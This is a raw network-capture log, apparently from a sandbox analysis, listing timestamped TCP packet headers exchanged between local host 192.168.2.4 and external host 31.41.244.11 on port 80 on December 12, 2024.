Dec 12, 2024 14:26:24.988348007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.988362074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.988445997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.992270947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.992321014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.992388964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.992460966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.996519089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.996534109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.996589899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:24.998671055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.998682976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:24.998802900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.000986099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.000999928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.001266956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.004415989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.004429102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.004524946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.008099079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.008220911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.008270979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.008385897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.012351036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.012564898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.013948917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.014002085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.018809080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.019037962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.019334078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.019378901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.022707939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.022766113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.023602962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.023678064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.026231050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.026393890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.026415110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.026447058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.126890898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.126991987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.126986027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.127057076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.128252983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.128357887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.128808022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.128886938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.128952980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.129086971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.131762981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.131844044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.131896973 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.131953955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.134715080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.134779930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.134999990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.135061026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.137495041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.137557983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.137864113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.137917042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.140309095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.140429020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.141755104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.141952038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.143071890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.143259048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.143345118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.143450022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.145895004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.146039009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.146095991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.146095991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.148618937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.148763895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.148821115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.149116993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.151298046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.151523113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.151963949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.152025938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.154053926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.154295921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.154345989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.154397011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.156614065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.156708002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.156785011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.156851053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.159221888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.159296036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.159523010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.159663916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.161837101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.161885023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.162164927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.164352894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.164443016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.164712906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.164788008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.166992903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.167505980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.168195009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.168579102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.169591904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.169656992 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.170795918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.171024084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.172492027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.172691107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.172738075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.173089981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.174773932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.174829006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.175736904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.175884962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.177409887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.177470922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.178091049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.178170919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.180017948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.180042028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.180078983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.180140018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.182537079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.182661057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.182917118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.183089972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.185183048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.185292959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.187990904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.188004971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.188016891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.188049078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.188097000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.190438032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.190588951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.192011118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.192177057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.193018913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.193037033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.193097115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.193097115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.211510897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.211539984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.211551905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.211666107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.211666107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.211703062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.211715937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.211729050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.211740971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.211770058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.211770058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.211886883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.212014914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.212033987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.212048054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.212110043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.212121964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.212156057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.212156057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.212156057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.212743044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.212754965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.212824106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.212824106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.319097996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.319242001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.319302082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.319365025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.320274115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.320338964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.320460081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.320569038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.322535038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.322608948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.322635889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.322771072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.324634075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.324707985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.324764013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.324764013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.327075958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.327140093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.327169895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.327334881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.329389095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.329639912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.329679012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.329760075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.331687927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.331743956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.331799984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.333904028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.333981037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.334148884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.334148884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.336041927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.336102962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.336587906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.336735010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.338217020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.338326931 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.338356972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.338646889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.340161085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.340257883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.340270996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.340380907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.342073917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.342170954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.342180967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.342294931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.344142914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.344240904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.344271898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.344352007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.346254110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.346323013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.346366882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.346415997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.348016024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.348073959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.348121881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.348244905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.349951029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.349992037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.350106955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.350231886 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.351927042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.351993084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.352016926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.352047920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.354057074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.354141951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.354298115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.355859995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.355984926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.356005907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.356055021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.357806921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.357848883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.357918024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.358019114 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.359807014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.359918118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.359957933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.359957933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.361927032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.361984968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.362052917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.362335920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.363770008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.363786936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.363925934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.365744114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.365825891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.365853071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.365955114 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.367908955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.367960930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.368024111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.368024111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.369728088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.369781017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.369862080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.369915009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.371830940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.371928930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.371972084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.372123957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.373641968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.373712063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.373714924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.373766899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.375617981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.375744104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.375813007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.375813961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.377729893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.377768040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.377834082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.379708052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.379812956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.379832029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.379908085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.381635904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.381767035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.381808996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.381809950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.383497000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.383548975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.383620977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.385458946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.385641098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.385704041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.387881041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.388277054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.388370037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.389719009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.389842987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.389969110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.390093088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.391908884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.391993999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.392071009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.393800020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.393934965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.393987894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.395524025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.395760059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.395818949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.398264885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.398379087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.398435116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.400476933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.400794983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.400856018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.402656078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.402777910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.402808905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.404097080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.404843092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.404937029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.405025005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.405850887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.406783104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.406892061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.406900883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.406949043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.408790112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.408822060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.408976078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.410761118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.410773993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.410871983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.412571907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.412831068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.412897110 CET	49801	80	192.168.2.4	31.41.244.11
